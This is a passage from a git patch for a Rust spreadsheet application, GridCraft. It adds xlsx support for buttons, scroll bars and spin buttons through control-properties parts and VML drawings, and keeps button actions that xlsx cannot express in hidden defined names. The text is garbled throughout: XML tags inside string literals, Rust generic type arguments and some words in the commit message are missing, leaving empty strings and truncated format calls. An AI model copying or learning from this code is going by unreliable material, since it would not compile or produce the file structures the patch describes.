checks; a command goes through the same policy as a macro step and runs, as +a step does, inside the scripts' file sandbox unless it is an approved file command, so a button +in a workbook opened from a file asks before it runs anything. Macros are saved in the workbook: as a field in GridCraft's JSON format, and in xlsx as hidden defined names (`_gc_macro__`, the macro's JSON split into string literals within Excel's From 295c57535c3f2d42e70df2a1cf03ca9c309d49d1 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 11 Oct 2026 22:38:07 -0400 Subject: [PATCH 018/167] XLSX: form controls (control properties, and VML ClientData), alongside kept controls Buttons, scroll bars (sliders) and spin buttons are written the three ways the published formats describe: a control properties part (xl/ctrlProps/ctrlPropN.xml, formControlPr with objectType, fmlaLink, min, max, inc, page, val and horiz), a in the sheet's inside mc:AlternateContent with its anchor, print and locked flags and a button's macro="[0]!Name", and a VML shape with x:ClientData. Notes and controls share one VML drawing per sheet; shape ids come from 1024-id blocks listed in the drawing's idmap (after the blocks kept header and footer drawings use), notes first, so each control's shapeId names its VML shape. Reading prefers the properties part, takes the caption from the VML text box and falls back to the VML alone for files that only have it. Values are clamped to whole numbers 0..30000 and repaired to pass the model's rules. Form controls of other kinds (check boxes, list boxes, drop-downs) stay with pass-through: the reader returns the shape numbers it modelled, and pass-through keeps the rest of the element and VML drawing without them. On save, modelled controls join the kept element and take a fresh shape block in the kept drawing, so a sheet with both round-trips without duplicates. Properties part names are reserved so kept parts of other sheets don't collide with them. Button actions xlsx has no place for (commands, fixed inputs, output cells) travel in a chunked hidden name keyed by sheet and position, and are taken back out on open. The streaming sheet parser now splits only shallow elements, so an anchor's inside stays in the tree. --- crates/engine/src/cmd/controls.rs | 58 ++- crates/engine/src/io.rs | 10 +- crates/engine/src/tests/controls.rs | 60 +++ crates/xlsx/src/controls.rs | 506 +++++++++++++++++++++ crates/xlsx/src/drawing.rs | 2 +- crates/xlsx/src/lib.rs | 1 + crates/xlsx/src/package.rs | 8 + crates/xlsx/src/passthrough.rs | 4 +- crates/xlsx/src/passthrough/read.rs | 131 +++++- crates/xlsx/src/passthrough/rebase.rs | 40 +- crates/xlsx/src/passthrough/write.rs | 6 + crates/xlsx/src/read.rs | 6 +- crates/xlsx/src/sheet_read.rs | 17 +- crates/xlsx/src/sheet_write.rs | 54 ++- crates/xlsx/src/sheet_write/parts.rs | 10 +- crates/xlsx/src/tests.rs | 1 + crates/xlsx/src/tests/controls_tests.rs | 205 +++++++++ crates/xlsx/src/tests/passthrough_tests.rs | 61 +++ crates/xlsx/src/write.rs | 7 + crates/xlsx/src/xml.rs | 9 +- docs/file-format-parity.md | 4 +- 21 files changed, 1131 insertions(+), 69 deletions(-) create mode 100644 crates/xlsx/src/controls.rs create mode 100644 crates/xlsx/src/tests/controls_tests.rs diff --git a/crates/engine/src/cmd/controls.rs b/crates/engine/src/cmd/controls.rs index 77193e091..94a4ef7ec 100644 --- a/crates/engine/src/cmd/controls.rs +++ b/crates/engine/src/cmd/controls.rs @@ -13,7 +13,7 @@ use serde_json::{Value as Json, json}; use super::{ CommandSpec, EngineError, PROTECTED, Result, Session, anchor_mode_param, bad, bool_param, cell_param, cmd, edit, f64_param, find_command, - has_doc, split_sheet, str_param, u32_param, + has_doc, split_sheet, stash, str_param, u32_param, }; use crate::macros::policy::{Policy, macro_policy}; @@ -530,3 +530,59 @@ pub(crate) fn sync_linked_values(wb: &mut Workbook) { } } } + +// ---------------------------------------------------------------- xlsx + +/// The hidden-data key of the button actions xlsx has no place for. +const ACTIONS_KEY: &str = "control_actions"; + +/// A button's action that xlsx carries itself: a macro on the selection (`macro="[0]!Name"`). +fn plain(a: &ControlAction) -> bool { + matches!(a, ControlAction::Macro { input: MacroInput::Selection, output: None, .. }) +} + +/// A copy of `wb` for xlsx with the button actions xlsx can't express (commands, fixed inputs, +/// output cells) in a hidden name, keyed by sheet name and the control's place on the sheet. +/// `None` when there is nothing to store. +pub(crate) fn with_action_names(wb: &Workbook) -> Result> { + let mut items = Vec::new(); + for sh in &wb.sheets { + for (i, c) in sh.controls.iter().enumerate() { + if let Some(a) = c.action.as_ref().filter(|a| !plain(a)) { + items.push(json!({"sheet": sh.name, "index": i, "action": a})); + } + } + } + let stale = stash::get(wb, ACTIONS_KEY).is_some(); + if items.is_empty() && !stale { + return Ok(None); + } + let mut out = wb.clone(); + stash::remove(&mut out, ACTIONS_KEY); + if !items.is_empty() { + stash::set_json(&mut out, ACTIONS_KEY, &Json::Array(items))?; + } + Ok(Some(out)) +} + +/// After a file is opened: gives buttons back the actions kept in the hidden name, and removes +/// it. Entries that don't match a button, or don't parse, are dropped. +pub(crate) fn load_action_names(wb: &mut Workbook) { + let Some(items) = stash::get_json(wb, ACTIONS_KEY) else { return }; + stash::remove(wb, ACTIONS_KEY); + for item in items.as_array().into_iter().flatten().take(100_000) { + let (Some(sheet), Some(index)) = (item.get("sheet").and_then(Json::as_str), item.get("index").and_then(Json::as_u64)) else { continue }; + let Ok(action) = serde_json::from_value::(item.get("action").cloned().unwrap_or(Json::Null)) else { continue }; + let valid = match &action { + ControlAction::Macro { name, .. } => !name.trim().is_empty() && name.chars().count() <= MAX_MACRO_NAME, + ControlAction::Command { id, params } => !id.is_empty() && id.len() <= 200 && params.is_object(), + }; + let Some(si) = wb.sheet_index(sheet) else { continue }; + if !valid || !wb.sheet(si).is_some_and(|sh| sh.controls.get(index as usize).is_some_and(|c| c.kind == ControlKind::Button)) { + continue; + } + if let Some(c) = wb.sheet_mut(si).and_then(|sh| sh.controls.get_mut(index as usize)) { + c.action = Some(action); + } + } +} diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index 71060a4c9..8351bb3f4 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -118,10 +118,12 @@ fn decrypt_message(name: &str, e: gridcraft_xlsx::DecryptError) -> String { } } -/// Parses bytes that aren't encrypted, then takes the workbook's macros out of their hidden names. +/// Parses bytes that aren't encrypted, then takes the workbook's macros, and the button actions +/// xlsx has no place for, out of their hidden names. fn open_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook, Vec)> { let (mut wb, mut warnings) = read_plain(name, bytes, csv_as_text)?; warnings.extend(crate::macros::load(&mut wb)); + crate::cmd::controls::load_action_names(&mut wb); Ok((wb, warnings)) } @@ -247,9 +249,13 @@ pub fn save_bytes_as(wb: &Workbook, path: &str, kind: FileKind) -> Result", + if move_cells { " moveWithCells=\"1\"" } else { "" }, + if size_cells { " sizeWithCells=\"1\"" } else { "" }, + marker("from", from, fdx, fdy), + marker("to", to, tdx, tdy), + ); + vml.push_str(&vml_shape(sheet, c, id, i)); + } + Written { entries: xml, vml } +} + +/// The control properties part. +fn ctrl_prop(c: &FormControl) -> String { + let mut s = format!("{} { + s.push_str(" lockText=\"1\""); + } + ControlKind::Slider | ControlKind::Spin => { + s.push_str(" dx=\"22\""); + if let Some(l) = &c.link { + let _ = write!(s, " fmlaLink=\"{}\"", esc_attr(l)); + } + if c.kind == ControlKind::Slider && c.horizontal { + s.push_str(" horiz=\"1\""); + } + let _ = write!(s, " inc=\"{}\" max=\"{}\" min=\"{}\"", c.step, c.max, c.min); + if c.kind == ControlKind::Slider { + let _ = write!(s, " page=\"{}\"", c.page); + } + let _ = write!(s, " val=\"{}\"", c.value); + } + } + s.push_str("/>"); + s +} + +/// A control's legacy VML shape. +fn vml_shape(sheet: &Sheet, c: &FormControl, id: u64, z: usize) -> String { + let ((from, fdx, fdy), (to, tdx, tdy)) = corners(sheet, &c.anchor); + let pt = |px: f64| px * 0.75; + let x = sheet.col_left(from.col) + fdx; + let y = sheet.row_top(from.row) + fdy; + let mut data = format!( + "{}{}{}, {}, {}, {}, {}, {}, {}, {}", + object_type(c.kind), + // These two elements mean the object does *not* move (size) with its cells. + if c.anchor.mode == AnchorMode::Absolute { "" } else { "" }, + if c.anchor.mode == AnchorMode::MoveAndSize { "" } else { "" }, + from.col, + fdx.round() as i64, + from.row, + fdy.round() as i64, + to.col, + tdx.round() as i64, + to.row, + tdy.round() as i64 + ); + if !c.print { + data.push_str("False"); + } + if !c.locked { + data.push_str("False"); + } + data.push_str("False"); + match c.kind { + ControlKind::Button => { + if let Some(m) = macro_ref(c) { + let _ = write!(data, "{}", esc(&m)); + } + data.push_str("CenterCenter"); + } + ControlKind::Slider | ControlKind::Spin => { + if let Some(l) = &c.link { + let _ = write!(data, "{}", esc(l)); + } + let _ = write!(data, "{}{}{}{}", c.value, c.min, c.max, c.step); + if c.kind == ControlKind::Slider { + let _ = write!(data, "{}", c.page); + if c.horizontal { + data.push_str(""); + } + } + data.push_str("22"); + } + } + data.push_str(""); + let text = if c.kind == ControlKind::Button { + format!("
{}
", esc(&c.text)) + } else { + String::new() + }; + format!( + "{text}{data}", + pt(x), + pt(y), + pt(c.anchor.width.max(0.0) as f64), + pt(c.anchor.height.max(0.0) as f64), + z + 1, + if c.kind == ControlKind::Button { " o:button=\"t\"" } else { " stroked=\"f\" filled=\"f\"" }, + ) +} + +/// The VML shape type form controls use. +pub const SHAPETYPE: &str = ""; + +// ---------------------------------------------------------------- reading + +/// What a control's properties say, from `formControlPr` or VML `x:ClientData`. +#[derive(Default)] +struct Props { + kind: Option, + link: Option, + min: Option, + max: Option, + inc: Option, + page: Option, + val: Option, + horiz: Option, + macro_: Option, + text: String, + print: Option, + locked: Option, +} + +fn props_from_ctrl_prop(e: &El) -> Props { + let int = |k: &str| e.attr_f64(k).map(|v| v.round() as i64); + Props { + kind: e.attr("objectType").and_then(kind_of), + link: e.attr("fmlaLink").map(str::to_string), + min: int("min"), + max: int("max"), + inc: int("inc"), + page: int("page"), + val: int("val"), + horiz: e.attr_bool("horiz"), + macro_: None, + text: String::new(), + print: None, + locked: None, + } +} + +fn props_from_vml(shape: &El) -> Option { + let data = shape.child("ClientData")?; + let kind = data.attr("ObjectType").and_then(kind_of)?; + let text_of = |n: &str| data.child(n).map(|c| c.text.trim().to_string()); + let int = |n: &str| text_of(n).and_then(|t| t.parse::().ok()).filter(|v| v.is_finite()).map(|v| v.round() as i64); + let truth = |n: &str| text_of(n).map(|t| !t.eq_ignore_ascii_case("false")); + let text = shape.child("textbox").map(|t| all_text(t, 0)).unwrap_or_default().trim().to_string(); + Some(Props { + kind: Some(kind), + link: text_of("FmlaLink").filter(|t| !t.is_empty()), + min: int("Min"), + max: int("Max"), + inc: int("Inc"), + page: int("Page"), + val: int("Val"), + horiz: data.child("Horiz").map(|_| true), + macro_: text_of("FmlaMacro"), + text, + print: truth("PrintObject"), + locked: truth("Locked"), + }) +} + +/// The text inside `e` and its descendants (a VML text box holds `
` and ``), up to a +/// caption's length; `
` is a line break. +fn all_text(e: &El, depth: usize) -> String { + let mut s = e.text.clone(); + if depth < 16 { + for k in &e.children { + if k.name == "br" { + s.push('\n'); + } + s.push_str(&all_text(k, depth + 1)); + if s.len() > 4_096 { + break; + } + } + } + s +} + +/// A control from what the file says, its numbers clamped to whole numbers 0..30000 that pass +/// the model's rules (a hostile or odd file can't give a control it couldn't have). +fn build(p: Props, kind: ControlKind, anchor: Anchor, name: Option<&str>, id: u32) -> FormControl { + let clamp = |v: Option, d: u32| v.map_or(d, |v| v.clamp(0, CONTROL_MAX as i64) as u32); + let mut c = FormControl { id, kind, anchor, ..FormControl::default() }; + c.min = clamp(p.min, 0); + c.max = clamp(p.max, 100); + if c.min >= c.max { + if c.min >= CONTROL_MAX { + c.min = CONTROL_MAX - 1; + } + c.max = c.min + 1; + } + c.step = clamp(p.inc, 1).clamp(1, c.max - c.min); + c.page = clamp(p.page, 10).max(c.step); + c.value = c.snap(clamp(p.val, c.min) as f64); + // Only sliders have an orientation; `horiz` is left out for a vertical one. + c.horizontal = kind != ControlKind::Slider || p.horiz.unwrap_or(false); + c.link = p.link.map(|l| l.trim().trim_start_matches('=').to_string()).filter(|l| !l.is_empty() && l.chars().count() <= 300); + c.text = p.text.chars().take(1_024).collect(); + if let Some(n) = name { + c.name = n.chars().take(255).collect(); + } + c.print = p.print.unwrap_or(true); + c.locked = p.locked.unwrap_or(true); + if kind == ControlKind::Button + && let Some(m) = p.macro_.as_deref().and_then(macro_name) + { + c.action = Some(ControlAction::Macro { name: m, input: MacroInput::Selection, output: None }); + } + c +} + +/// The `` elements under a `` element, looking through `mc:AlternateContent` +/// (the Choice, else the Fallback). +fn controls_in(e: &El) -> Vec<&El> { + let mut out = Vec::new(); + for k in &e.children { + match k.name.as_str() { + "control" => out.push(k), + "AlternateContent" => { + if let Some(inner) = k.child("Choice").filter(|c| c.child("control").is_some()).or_else(|| k.child("Fallback")) { + out.extend(inner.kids("control")); + } + } + _ => {} + } + } + out +} + +/// The `` element of a worksheet child (`controls`, or one inside AlternateContent). +pub fn controls_of(e: &El) -> Option<&El> { + match e.name.as_str() { + "controls" => Some(e), + "AlternateContent" => e.child("Choice").and_then(|c| c.child("controls")).or_else(|| e.child("Fallback").and_then(|c| c.child("controls"))), + _ => None, + } +} + +/// The shape number of a VML shape id (`_x0000_s1025` → 1025) or a `shapeId` attribute. +fn shape_number(id: &str) -> Option { + id.trim().trim_start_matches("_x0000_s").parse().ok() +} + +/// Reads a sheet's buttons, scroll bars and spin buttons: each `` with its properties +/// part, else its VML shape, and VML shapes the sheet doesn't list (files that only have VML). +/// Returns the shape numbers of the controls it read, so pass-through keeps only the others. +pub fn read(cx: &mut Ctx<'_>, controls: Option<&El>, rels: &[Rel], sheet: &mut Sheet) -> HashSet { + let mut read = HashSet::new(); + let vml = match rels.iter().find(|r| r.kind == "vmlDrawing") { + Some(r) => cx.pkg.read_xml(&r.target).ok().flatten(), + None => None, + }; + let shapes: Vec<&El> = vml.as_ref().map(|v| v.kids("shape").collect()).unwrap_or_default(); + let shape_of = |n: u64| shapes.iter().copied().find(|s| s.attr("id").and_then(shape_number) == Some(n)); + // Every shape the sheet lists, read here or not. + let mut listed: HashSet = HashSet::new(); + for ctl in controls.map(controls_in).unwrap_or_default() { + let Some(n) = ctl.attr("shapeId").and_then(shape_number) else { continue }; + listed.insert(n); + if sheet.controls.len() >= MAX_CONTROLS { + continue; + } + let shape = shape_of(n); + let vml_props = shape.and_then(props_from_vml); + let prop_part = ctl.attr("id").and_then(|id| rels.iter().find(|r| r.id == id)).map(|r| r.target.clone()); + let file_props = match prop_part { + Some(t) => cx.pkg.read_xml(&t).ok().flatten().filter(|e| e.name == "formControlPr").map(|e| props_from_ctrl_prop(&e)), + None => None, + }; + let pr = ctl.child("controlPr"); + let mut p = match (file_props, vml_props) { + (Some(mut f), v) => { + // The properties part has no caption; the VML text box does. + if let Some(v) = v { + f.text = v.text; + f.print = f.print.or(v.print); + f.locked = f.locked.or(v.locked); + f.macro_ = v.macro_; + } + f + } + (None, Some(v)) => v, + (None, None) => continue, + }; + if let Some(pr) = pr { + if let Some(m) = pr.attr("macro").filter(|m| !m.trim().is_empty()) { + p.macro_ = Some(m.to_string()); + } + p.print = pr.attr_bool("print").or(p.print); + p.locked = pr.attr_bool("locked").or(p.locked); + } + // Other kinds (a check box, a list box) stay with pass-through. + let Some(kind) = p.kind else { continue }; + let anchor = + pr.and_then(|pr| pr.child("anchor")).and_then(|a| anchor_from_markers(a, sheet)).or_else(|| shape.and_then(|s| vml_anchor(s, sheet))); + let Some(anchor) = anchor else { continue }; + let id = cx.next_object_id(); + sheet.controls.push(build(p, kind, anchor, ctl.attr("name"), id)); + read.insert(n); + } + // Controls known only from the VML. + for s in &shapes { + let Some(n) = s.attr("id").and_then(shape_number) else { continue }; + if listed.contains(&n) || sheet.controls.len() >= MAX_CONTROLS { + continue; + } + let Some(p) = props_from_vml(s) else { continue }; + let (Some(kind), Some(anchor)) = (p.kind, vml_anchor(s, sheet)) else { continue }; + let id = cx.next_object_id(); + sheet.controls.push(build(p, kind, anchor, None, id)); + read.insert(n); + } + read +} + +fn anchor_from_markers(a: &El, sheet: &Sheet) -> Option { + let (cell, dx, dy) = crate::drawing::marker(a.child("from")?); + let (to, tdx, tdy) = a.child("to").map(crate::drawing::marker).unwrap_or((cell, dx + 64.0, dy + 20.0)); + let x1 = sheet.col_left(cell.col) + dx as f64; + let y1 = sheet.row_top(cell.row) + dy as f64; + let x2 = sheet.col_left(to.col) + tdx as f64; + let y2 = sheet.row_top(to.row) + tdy as f64; + let mode = match (a.flag("moveWithCells", false), a.flag("sizeWithCells", false)) { + (_, true) => AnchorMode::MoveAndSize, + (true, false) => AnchorMode::MoveOnly, + _ => AnchorMode::Absolute, + }; + Some(Anchor { cell, dx, dy, width: (x2 - x1).clamp(1.0, 10_000.0) as f32, height: (y2 - y1).clamp(1.0, 10_000.0) as f32, mode }) +} + +/// A VML `x:Anchor` (`LeftColumn, LeftOffset, TopRow, TopOffset, RightColumn, RightOffset, +/// BottomRow, BottomOffset`, offsets in pixels). +fn vml_anchor(shape: &El, sheet: &Sheet) -> Option { + let data = shape.child("ClientData")?; + let nums: Vec = data.child("Anchor")?.text.split(',').filter_map(|t| t.trim().parse::().ok()).collect(); + let [c1, dx1, r1, dy1, c2, dx2, r2, dy2] = nums.as_slice() else { return None }; + let col = |c: i64| c.clamp(0, gridcraft_core::MAX_COLS as i64 - 1) as u32; + let row = |r: i64| r.clamp(0, gridcraft_core::MAX_ROWS as i64 - 1) as u32; + let off = |v: i64| v.clamp(0, 10_000) as f64; + let cell = CellRef::new(row(*r1), col(*c1)); + let x1 = sheet.col_left(cell.col) + off(*dx1); + let y1 = sheet.row_top(cell.row) + off(*dy1); + let x2 = sheet.col_left(col(*c2)) + off(*dx2); + let y2 = sheet.row_top(row(*r2)) + off(*dy2); + // The elements are there when the object does *not* move (size) with its cells. + let mode = match (data.child("MoveWithCells").is_none(), data.child("SizeWithCells").is_none()) { + (_, true) => AnchorMode::MoveAndSize, + (true, false) => AnchorMode::MoveOnly, + _ => AnchorMode::Absolute, + }; + Some(Anchor { + cell, + dx: off(*dx1) as f32, + dy: off(*dy1) as f32, + width: (x2 - x1).clamp(1.0, 10_000.0) as f32, + height: (y2 - y1).clamp(1.0, 10_000.0) as f32, + mode, + }) +} diff --git a/crates/xlsx/src/drawing.rs b/crates/xlsx/src/drawing.rs index 0668ca9d8..2eff98418 100644 --- a/crates/xlsx/src/drawing.rs +++ b/crates/xlsx/src/drawing.rs @@ -19,7 +19,7 @@ fn emu_px(v: Option) -> f32 { v.map(|e| (e as f64 / EMU_PER_PX).clamp(-1e7, 1e7) as f32).unwrap_or(0.0) } -fn marker(e: &El) -> (CellRef, f32, f32) { +pub(crate) fn marker(e: &El) -> (CellRef, f32, f32) { let num = |n: &str| e.child(n).and_then(|c| c.text.trim().parse::().ok()); let col = num("col").unwrap_or(0).clamp(0, MAX_COLS as i64 - 1) as u32; let row = num("row").unwrap_or(0).clamp(0, MAX_ROWS as i64 - 1) as u32; diff --git a/crates/xlsx/src/lib.rs b/crates/xlsx/src/lib.rs index 650b22820..c9cfe7acf 100644 --- a/crates/xlsx/src/lib.rs +++ b/crates/xlsx/src/lib.rs @@ -15,6 +15,7 @@ mod array_formula; mod cfb; mod chart; mod chartex; +mod controls; mod crypto; mod csv; mod drawing; diff --git a/crates/xlsx/src/package.rs b/crates/xlsx/src/package.rs index a6950a07e..e117e24e4 100644 --- a/crates/xlsx/src/package.rs +++ b/crates/xlsx/src/package.rs @@ -52,6 +52,14 @@ impl<'a> Package<'a> { Ok(Package { zip, names, total: 0 }) } + /// Every part's (normalized) name, sorted. + #[cfg(test)] + pub fn names(&self) -> Vec { + let mut v: Vec = self.names.keys().cloned().collect(); + v.sort(); + v + } + pub fn has(&self, part: &str) -> bool { self.names.contains_key(&normalize(part)) } diff --git a/crates/xlsx/src/passthrough.rs b/crates/xlsx/src/passthrough.rs index 3e2fea105..9d85e03b2 100644 --- a/crates/xlsx/src/passthrough.rs +++ b/crates/xlsx/src/passthrough.rs @@ -4,8 +4,8 @@ //! relationship graph, per owner: the package root (custom document properties, ribbon //! customisation, add-in task panes), the workbook (custom XML, links to external workbooks with //! their ``, data connections, XML maps) and each sheet (query tables, cells -//! mapped to XML elements, form controls, ActiveX controls, OLE objects, the sheet background and -//! printer settings, with the sheet's ``, `` and `` XML, the `r:id` +//! mapped to XML elements, form controls other than the buttons, scroll bars and spin buttons +//! `controls.rs` models, ActiveX controls, OLE objects, the sheet background and printer settings, with the sheet's ``, `` and `` XML, the `r:id` //! of ``, the legacy VML shapes those controls need and the pictures of the headers and //! footers, `&G`, with their ``). The workbook also keeps its //! `` and the calcFeatures extension, which Excel needs to trust the saved values. diff --git a/crates/xlsx/src/passthrough/read.rs b/crates/xlsx/src/passthrough/read.rs index 6be20d76d..dad81a9c5 100644 --- a/crates/xlsx/src/passthrough/read.rs +++ b/crates/xlsx/src/passthrough/read.rs @@ -283,8 +283,9 @@ impl KeptReader { (!p.is_empty()).then(|| Arc::new(p)) } - /// Sheet-level content of the sheet part `part`. - pub fn sheet(&mut self, cx: &mut Ctx<'_>, part: &str, name: &str) -> Option> { + /// Sheet-level content of the sheet part `part`. `read_controls` are the VML shape numbers of + /// the form controls the sheet reader modelled; they are left out of the kept content. + pub fn sheet(&mut self, cx: &mut Ctx<'_>, part: &str, name: &str, read_controls: &HashSet) -> Option> { if !self.on { return None; } @@ -306,12 +307,22 @@ impl KeptReader { let vml_drawings = rels.iter().filter(|r| is_kind(r, &["vmlDrawing"])).count(); let notes = rels.iter().filter(|r| is_kind(r, &["comments"])).count(); if rels.iter().any(|r| is_kind(r, SHEET_ELEMENT_KINDS)) || vml_drawings > notes { - self.sheet_elements(cx, part, name, &rels, &mut p, &mut seen); + self.sheet_elements(cx, part, name, &rels, &mut p, &mut seen, read_controls); } (!p.is_empty()).then(|| Arc::new(p)) } - fn sheet_elements(&mut self, cx: &mut Ctx<'_>, part: &str, name: &str, rels: &[PreservedRel], p: &mut Preserved, seen: &mut HashSet) { + #[allow(clippy::too_many_arguments)] + fn sheet_elements( + &mut self, + cx: &mut Ctx<'_>, + part: &str, + name: &str, + rels: &[PreservedRel], + p: &mut Preserved, + seen: &mut HashSet, + read_controls: &HashSet, + ) { let scan = match cx.pkg.read(part) { Ok(Some(bytes)) => scan_sheet(&bytes), _ => None, @@ -344,10 +355,15 @@ impl KeptReader { Err(why) => cx.warn(format!("sheet \"{name}\": header and footer pictures were dropped: {why}")), } } - let mut frags = scan.fragments; + // Form controls the sheet reader modelled are written from the model; the others stay. + let mut frags: Vec<(String, String)> = scan + .fragments + .into_iter() + .filter_map(|(slot, x)| if slot == "controls" { without_controls(&x, read_controls).map(|x| (slot, x)) } else { Some((slot, x)) }) + .collect(); // Controls and OLE objects are drawn from shapes in the legacy VML drawing. if frags.iter().any(|(slot, _)| slot != "picture") { - match self.vml(cx, rels, scan.legacy_drawing.as_deref(), seen) { + match self.vml(cx, rels, scan.legacy_drawing.as_deref(), seen, read_controls) { Ok((vml, parts)) => { p.parts.extend(parts); p.vml = Some(vml); @@ -383,14 +399,15 @@ impl KeptReader { } } - /// The sheet's VML drawing without its notes (GridCraft writes those), and the parts its - /// shapes refer to (preview images). + /// The sheet's VML drawing without its notes and the form controls read into the model + /// (GridCraft writes those), and the parts its shapes refer to (preview images). fn vml( &mut self, cx: &mut Ctx<'_>, rels: &[PreservedRel], rid: Option<&str>, seen: &mut HashSet, + read_controls: &HashSet, ) -> Result<(PreservedPart, Vec), String> { let rel = rid.and_then(|id| rels.iter().find(|r| r.id == id && !r.external)).ok_or("the sheet has no VML drawing")?; // Charged to the kept total like any other part: many sheets can point at one highly @@ -407,7 +424,7 @@ impl KeptReader { }; self.budget = self.budget.saturating_sub(data.len()); let text = String::from_utf8(data).map_err(|_| "the VML drawing is not UTF-8".to_string())?; - let text = strip_notes(&text); + let text = strip_shapes(&text, read_controls); let vrels = raw_rels(cx, &rel.target)?; let mut q = Preserved::default(); let roots: Vec = vrels.iter().filter(|r| !r.external).cloned().collect(); @@ -557,13 +574,14 @@ fn shape_spans(vml: &str) -> Vec<(usize, usize)> { spans } -/// VML without its note shapes (`ObjectType="Note"`). -fn strip_notes(vml: &str) -> String { +/// VML without its note shapes (`ObjectType="Note"`) and the shapes numbered in `drop`. +fn strip_shapes(vml: &str, drop: &HashSet) -> String { let mut out = String::with_capacity(vml.len()); let mut last = 0; for (a, b) in shape_spans(vml) { let shape = vml.get(a..b).unwrap_or(""); - if shape.contains("ObjectType=\"Note\"") { + let numbered = shape_numbers(shape).first().is_some_and(|n| drop.contains(n)); + if shape.contains("ObjectType=\"Note\"") || numbered { out.push_str(vml.get(last..a).unwrap_or("")); last = b; } @@ -595,19 +613,32 @@ pub(super) fn vml_block_max(vml: &str) -> u64 { used.max(claimed) } -/// Kept VML (controls, OLE objects) plus GridCraft's note shapes: the notes get ids in a fresh -/// shape block so they can't collide with the kept shapes the sheet XML refers to. +/// The first shape block free in kept VML: GridCraft's own shapes (notes, then form controls) are +/// numbered from `block * 1024 + 1` when they join it ([`merge_vml`]). +pub(super) fn first_free_block(kept: &str) -> u64 { + shape_numbers(kept).into_iter().max().unwrap_or(0) / 1024 + 1 +} + +/// Kept VML (controls, OLE objects) plus GridCraft's note and form control shapes: ours get ids +/// in fresh shape blocks so they can't collide with the kept shapes the sheet XML refers to. pub(super) fn merge_vml(kept: &str, ours: &str) -> String { let Some(close) = kept.rfind("") else { return ours.to_string() }; - let block = shape_numbers(kept).into_iter().max().unwrap_or(0) / 1024 + 1; + let block = first_free_block(kept); let mut add = String::new(); - if !kept.contains("id=\"_x0000_t202\"") - && let Some(i) = ours.find("")) - { - add.push_str(ours.get(i..i + j + "".len()).unwrap_or("")); + // Our shape types (notes, form controls) that the kept drawing doesn't define. + let mut from = 0; + while let Some(i) = ours.get(from..).and_then(|s| s.find("")).map(|j| i + j + "".len()) else { break }; + let ty = ours.get(i..j).unwrap_or(""); + let id = ty.split("id=\"").nth(1).and_then(|r| r.split('"').next()).unwrap_or(""); + if !id.is_empty() && !kept.contains(&format!("id=\"{id}\"")) { + add.push_str(ty); + } + from = j; } - for (k, (a, b)) in shape_spans(ours).into_iter().enumerate() { + let spans = shape_spans(ours); + let blocks = (spans.len() as u64 + 1).div_ceil(1024).max(1); + for (k, (a, b)) in spans.into_iter().enumerate() { let shape = ours.get(a..b).unwrap_or(""); let id = block.saturating_mul(1024).saturating_add(1 + k as u64); match (shape.find("id=\"_x0000_s"), shape.find("id=\"_x0000_s").and_then(|i| shape.get(i + 4..)?.find('"').map(|j| i + 4 + j))) { @@ -618,16 +649,70 @@ pub(super) fn merge_vml(kept: &str, ours: &str) -> String { } } let mut head = kept.get(..close).unwrap_or("").to_string(); - // Claim the block in the drawing's id map. + // Claim the blocks in the drawing's id map. if let Some(i) = head.find("` fragment without the controls whose `shapeId` is in `drop` (they are +/// written from the model). `None` when no control is left. A fragment that doesn't parse is +/// returned unchanged. +fn without_controls(frag: &str, drop: &HashSet) -> Option { + if drop.is_empty() { + return Some(frag.to_string()); + } + let numbered = |x: &str| { + x.split("shapeId=\"").skip(1).any(|r| r.split('"').next().and_then(|n| n.trim().parse::().ok()).is_some_and(|n| drop.contains(&n))) + }; + let mut reader = Reader::from_str(frag); + let mut out = String::with_capacity(frag.len()); + let (mut last, mut left, mut inside) = (0usize, 0usize, false); + loop { + let Ok(start) = usize::try_from(reader.buffer_position()) else { return Some(frag.to_string()) }; + let ev = match reader.read_event() { + Ok(ev) => ev, + Err(_) => return Some(frag.to_string()), + }; + let child = match ev { + Event::Eof => break, + Event::Start(e) if e.local_name().as_ref() == b"controls" => { + inside = true; + continue; + } + Event::End(e) if e.local_name().as_ref() == b"controls" => { + inside = false; + continue; + } + Event::Start(e) if inside => { + if reader.read_to_end(e.name()).is_err() { + return Some(frag.to_string()); + } + true + } + Event::Empty(_) if inside => true, + _ => false, + }; + if !child { + continue; + } + let Ok(end) = usize::try_from(reader.buffer_position()) else { return Some(frag.to_string()) }; + if numbered(frag.get(start..end).unwrap_or("")) { + out.push_str(frag.get(last..start).unwrap_or("")); + last = end; + } else { + left += 1; + } + } + out.push_str(frag.get(last..).unwrap_or("")); + (left > 0).then_some(out) +} + /// Rewrites relationship-id attributes (`r:id`, `r:embed`…: any attribute in the relationships /// namespace) of an XML fragment through `map`. `None` when the fragment is damaged or `map` has /// no id for one of them. diff --git a/crates/xlsx/src/passthrough/rebase.rs b/crates/xlsx/src/passthrough/rebase.rs index d758f86d6..1ca5d82e1 100644 --- a/crates/xlsx/src/passthrough/rebase.rs +++ b/crates/xlsx/src/passthrough/rebase.rs @@ -1,4 +1,4 @@ -use super::read::merge_vml; +use super::read::{first_free_block, merge_vml}; use super::write::{NameMap, attach, part_rels_xml, remap, write_parts}; use super::*; @@ -28,7 +28,15 @@ impl<'a> SheetKept<'a> { } } - /// GridCraft's notes VML for part `name`, merged with the kept control and object shapes. + /// The number GridCraft's own VML shapes start after when they join the kept drawing + /// ([`SheetKept::notes_vml`] numbers them `base + 1`, `base + 2`…); `None` without one. + pub fn shape_base(&self) -> Option { + let vml = self.vml()?; + Some(first_free_block(&String::from_utf8_lossy(&vml.data)).saturating_mul(1024)) + } + + /// GridCraft's notes and form controls VML for part `name`, merged with the kept control and + /// object shapes. pub fn notes_vml(&self, ours: String, name: &str, out: &mut Out) -> String { let Some(vml) = self.vml() else { return ours }; self.write_vml_rels(vml, name, out); @@ -50,17 +58,31 @@ impl<'a> SheetKept<'a> { self.ids.get(old).map(String::as_str) } - /// The kept sheet elements, in schema order. - pub fn elements(&self) -> String { - let Some(p) = self.p else { return String::new() }; + /// The kept sheet elements, in schema order, with GridCraft's own form control entries + /// (`controls`, see `controls::write`) in the sheet's one `` element. + pub fn elements(&self, controls: &str) -> String { let mut s = String::new(); - for slot in SHEET_SLOTS { - for e in p.elements.iter().filter(|e| e.slot == *slot) { - if let Some(x) = 